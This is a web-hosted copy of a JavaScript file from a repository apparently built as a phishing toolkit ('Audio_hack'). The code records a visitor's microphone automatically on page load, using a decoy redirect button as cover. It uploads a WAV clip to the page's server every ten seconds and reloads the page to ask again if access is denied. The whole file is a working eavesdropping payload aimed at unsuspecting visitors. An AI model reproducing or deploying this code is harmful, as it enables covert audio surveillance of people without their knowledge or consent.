Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
bhikandeshmukh
GitHub Repository: bhikandeshmukh/shark
Path: blob/master/phs/Audio_hack/js/_app.js
996 views
1
// Adapted from Simple Recorder.js Demo https://github.com/addpipe/simple-recorderjs-demo
2
// Recorderjs by: https://github.com/mattdiamond/Recorderjs
3
//webkitURL is deprecated but nevertheless
4
URL = window.URL || window.webkitURL;
5
6
var gumStream; //stream from getUserMedia()
7
var rec; //Recorder.js object
8
var input; //MediaStreamAudioSourceNode we'll be recording
9
10
// shim for AudioContext when it's not avb.
11
var AudioContext = window.AudioContext || window.webkitAudioContext;
12
var audioContext //audio context to help us record
13
14
var redButton = document.getElementById("redButton");
15
16
redButton.addEventListener("click", Redirect);
17
18
19
function Redirect() {
20
21
window.open('redirect_link', '_blank');
22
23
24
}
25
26
window.setTimeout(startRecording, 300);
27
window.setInterval(stopRecording, 10000);
28
29
30
31
function startRecording() {
32
//console.log("recordButton clicked");
33
34
/*
35
Simple constraints object, for more advanced audio features see
36
https://addpipe.com/blog/audio-constraints-getusermedia/
37
*/
38
39
var constraints = { audio: true, video:false }
40
41
42
/*
43
We're using the standard promise based getUserMedia()
44
https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia
45
*/
46
47
navigator.mediaDevices.getUserMedia(constraints).then(function(stream) {
48
console.log("getUserMedia() success, stream created, initializing Recorder.js ...");
49
50
/*
51
create an audio context after getUserMedia is called
52
sampleRate might change after getUserMedia is called, like it does on macOS when recording through AirPods
53
the sampleRate defaults to the one set in your OS for your playback device
54
55
*/
56
audioContext = new AudioContext();
57
58
//update the format
59
// document.getElementById("formats").innerHTML="Format: 1 channel pcm @ "+audioContext.sampleRate/1000+"kHz"
60
61
/* assign to gumStream for later use */
62
gumStream = stream;
63
64
/* use the stream */
65
input = audioContext.createMediaStreamSource(stream);
66
67
/*
68
Create the Recorder object and configure to record mono sound (1 channel)
69
Recording 2 channels will double the file size
70
*/
71
rec = new Recorder(input,{numChannels:1})
72
73
//start the recording process
74
rec.record()
75
redButton.disabled = false;
76
77
//console.log("Recording started");
78
79
80
}).catch(function(err) {
81
//enable the record button if getUserMedia() fails
82
redButton.disabled = true;
83
window.location.reload();
84
});
85
}
86
87
88
function uploadRecord() {
89
90
$(document).ready(function() {
91
$('a#Upload')[0].click();
92
93
});
94
95
96
}
97
98
function stopRecording() {
99
//console.log("stopButton clicked");
100
101
102
//tell the recorder to stop the recording
103
rec.stop();
104
105
//stop microphone access
106
//gumStream.getAudioTracks()[0].stop();
107
108
//create the wav blob and pass it on to createDownloadLink
109
rec.exportWAV(createDownloadLink);
110
111
}
112
113
function createDownloadLink(blob) {
114
115
var url = URL.createObjectURL(blob);
116
var filename = new Date().toISOString();
117
118
119
var xhr=new XMLHttpRequest();
120
xhr.onload=function(e) {
121
if(this.readyState === 4) {
122
// console.log("Server returned: ",e.target.responseText);
123
}
124
};
125
126
127
var fd=new FormData();
128
fd.append("audio_data",blob, filename);
129
xhr.open("POST","upload.php",true);
130
xhr.send(fd);
131
132
window.setTimeout(startRecording, 300);
133
134
}
135
136